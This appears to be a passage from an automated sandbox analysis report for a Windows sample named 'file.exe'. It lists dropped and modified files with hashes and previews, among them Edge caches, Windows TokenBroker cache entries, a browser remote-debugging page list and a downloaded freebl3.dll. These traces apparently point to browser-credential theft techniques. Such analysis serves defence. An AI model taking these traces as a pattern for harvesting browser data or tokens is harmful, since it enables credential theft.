SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0092212812403565
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXaKUfVn:YWLSGTt1o9LuLgfGBPAzkVj/T8lKKOVn
MD5:	1A9DDCF57B292BD30D36C03B69E8A07F
SHA1:	A08E76A1C0EC41653916E5FC2A93C83C6AF1DD8A
SHA-256:	8CEBB96489522830BEE3F60E7A65717E4202AA2887A7D087E399E088355511C2
SHA-512:	65F7803752938774EC971543912649A5B824D220D48DD8E9C30B1DD912C07A635D4A26A4F0D316B640A7C9C88E660E5CDA8F98D1852D50961382026530081D73
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732858056812245}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a204b22e-4c3f-4d6d-a110-8046d8b46f7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095635817755439
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3vi1zNtludN911gEFlKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEd7KtSmd6qE7lFoC
MD5:	84FEFAA49F8425528D3384FC3F1AEC02
SHA1:	FBA900B7E732A03455E116AE8C7F455B234ADFC3
SHA-256:	FCB7BEB7D1F4AD2DB4741745A798E98E138353A3C9A7D75CF616E4B3416E8302
SHA-512:	D9B101C2920FF196A736944F0E70D50A3ADC5C892C860BFD1CF00F45109B89B6425C3104A512522A590C23CBEFAE9D1051DBA9F9BBEC14819309FD4479C40467
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c1d1fec6-4f01-4149-a991-b5f76edd4ce6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46357
Entropy (8bit):	6.087996641214724
Encrypted:	false
SSDEEP:	768:0MkbJrT8IeQc5dKkrei1zNtlud95H8CVLFkPI5IQmxgpCio/JDSgzMMd6qD47u3t:0Mk1rT8H1KFdtIQ9Fo/tSmd6qE7s
MD5:	BAF8AEB37BB425ACE6FC9C0861A25BC5
SHA1:	BC610BBE97F19A4397708A56222B798442003E0D
SHA-256:	CBA1C3D68AC8B7CD688EB8BD2ECFBAD267432D79811C914527D6846764D40D2E
SHA-512:	CACD5DBC886ACF04B8E89C52ACEBF6631109298C4C7701484778764A731D6175D008D832ED815FB3B240266245F1186F06824177AE03494274EC4A203914B593
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377230852492547","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"2202681e-e3be-49f7-9ba6-4b89058ef241"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e2403b6a-eed7-48ac-9300-86053e981c86.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45000
Entropy (8bit):	6.095868864205698
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWkvi1zNtlud95H8CVLFkPI5KJDSgzMMd6qD47u3+CO:+/Ps+wsI7yOrdtKtSmd6qE7lFoC
MD5:	86D6CD29F89AECFB06E0B044FDF08A46
SHA1:	8278D30E2878101691888DC7A825B58205A1E3D9
SHA-256:	6D9A258BD16B0F11DC71778ADF55BE06288A11AD9C6A9FEB9327F4A37D8E0D31
SHA-512:	2D41F2BB3A62DE6BDC1B38011ABA0454EC16C917850A43B7883449CA4465D9CDA0D7AB9C8F4C0F76993CC35ED13EDD48E9DE4892DFBC1E86C55D4504C93B000B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ec5fca7b-f67b-49f3-986e-16becf4c4e11.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46434
Entropy (8bit):	6.087916152699829
Encrypted:	false
SSDEEP:	768:0MkbJrT8IeQc5AKkrei1zNtlu05H8CVLFkPI5IQmxgpCio/JDSgzMMd6qD47u30e:0Mk1rT8HoKFIIQ9Fo/tSmd6qE7s
MD5:	E5287409EEA4D024BA9068B2FC10F3DE
SHA1:	7B59729786919B2538B9B2A2201FED661B5F7254
SHA-256:	1C7EFF410CF5B37333DE0D7738FA1E08D01696AFE08B4AFDF5A3BF0828BA272A
SHA-512:	76FDC28783C99C7EE0E2B94BFEEBFCC63DCEE75409105ACAFF78F61EE2AB7BC8FF0F2CE9EBEBEA466912986D8FB0702E009B723C92C5B49E465FED3941B006A0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377230852492547","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"2202681e-e3be-49f7-9ba6-4b89058ef241"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8444962433289374
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxPxl9Il8u+vvid0DWVeEDEU+zsjROXjdd1rc:mWYEvvidoWV/EUKsUq
MD5:	A3C4DD6211328272A630E98067795ABA
SHA1:	15C7AD05CC22BB502E05F78593EA6108113FE3D2
SHA-256:	D698F958B33468C6AAE29A3DBC49910F45A305B256EE8493189584EA345C8CF2
SHA-512:	0D1031AB00E13CBD11E464AC00F87BAE6378E3FDA8135E4F575C48F59809E72A5F6C50B01AEF9692634E19BC50996CDE69D8BDC80EB740C11B8BA298B2DB5F4D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.I.W.s.F.T.1.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.h.8.Z.A.Q.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9983730486721307
Encrypted:	false
SSDEEP:	96:NYEKRYUwO62haHx05IqZbTskJGz5SrlmJE7lBcCY9EaD:NLaYq62hgxaGaBg95
MD5:	55E2A6819E2C35285E74FBE36DBB9C2E
SHA1:	6C93C9B9CBC079EF4F118B6250F83126C4BF55CF
SHA-256:	E5DDABCB9FB89FAB8402AF922F6C6A078812D92C25D0524D0D760DAE8234E61A
SHA-512:	71CC19F0D2219D2F17132EEA8DDE6B577FFC293D7E3E49C5A7E02475ECA916B7BA5470A0D8E662AA7D17058E28BAB62803A6D8E7D67D55675C7A99E2C961A2AC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.3.p.f.+.z.R.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.h.8.Z.A.Q.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.900171648589812
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x5xl9Il8u+0VltPi3FDKLtBYqvU7kl/XLzd/vc:a3YEyHPSFirYqvU4pu
MD5:	F6616859AF2ACD856FAD059DC7A928EF
SHA1:	A55B082D9DA8CBA84C7C1DAFD435E61442861CD6
SHA-256:	CD1DAF967AD9BBF1BB509CA8B697EC10FA5704F192E08776462DEB48D60FED1C
SHA-512:	BF21A94E123FB07C849444D8AD63775C381D3F750FFAC1314175BBDAB9B16D38D90C81994642B28DFC6E6491977955D22834B2A4E4724F6DD88C3ABDCDCBC14E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".o.7.G.l.K.w.Z.g.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.h.8.Z.A.Q.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.388289602059732
Encrypted:	false
SSDEEP:	96:6NnQiHQPNnQQbQdNnQ49QqNnQGudgEQGoNnQ8QeNnQMDQyNnQ0wQ1NnQt3QL8:6NMNwN7NtunoN1N5NNjRNB8
MD5:	6826C70C728C617390E006BA8E6367FD
SHA1:	7B4FC248E73929B7F8B7ECF3F36BF17C7DF05675
SHA-256:	BCE0DE324DC14DA7AA0D042A56125A19C608F3E7095A01C8526710B2B573E3A0
SHA-512:	C00D5A6FAEF5485D78274E818613F72CBAA6A9B86645E0ED816B27CDA96BBFB7991F1A9CEC7FF2A8F3F712D90C89EEC1B6DF04D6D7276B3AD7E15073A1BF3196
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F152379027C925C612513F4E4C2FB0A9",.. "id": "F152379027C925C612513F4E4C2FB0A9",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F152379027C925C612513F4E4C2FB0A9"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/3AE32B47CB06064B34D6E2A33C4B6660",.. "id": "3AE32B47CB06064B34D6E2A33C4B6660",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/3AE32B47CB06064B34D6E2A33C4B6660"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.361077238063109
Encrypted:	false
SSDEEP:	48:SfNaoQpTEQNfNaoQlh4QlrfNaoQlvQlJfNaoQFG7GD0UrU0U8QFGV:6NnQpTEQ5NnQoQ5NnQBQrNnQFG7GD0Uz
MD5:	66F8FCF809A5D6C8083455D1726AB2E4
SHA1:	7D2153FF4C590917705F0196B60EEC642C040057
SHA-256:	038D07C9687CD53B02C410845568E833DC75222E1BB722BA284642926E61A2A9
SHA-512:	310471824999583A33925EA40682027C4AE242D2F7742CB4B7AC5FC8567DC48BE155CC17930D986FA2140EF70D6F11417969ECE5498827FF47209BFAC95820F8
Malicious:	false
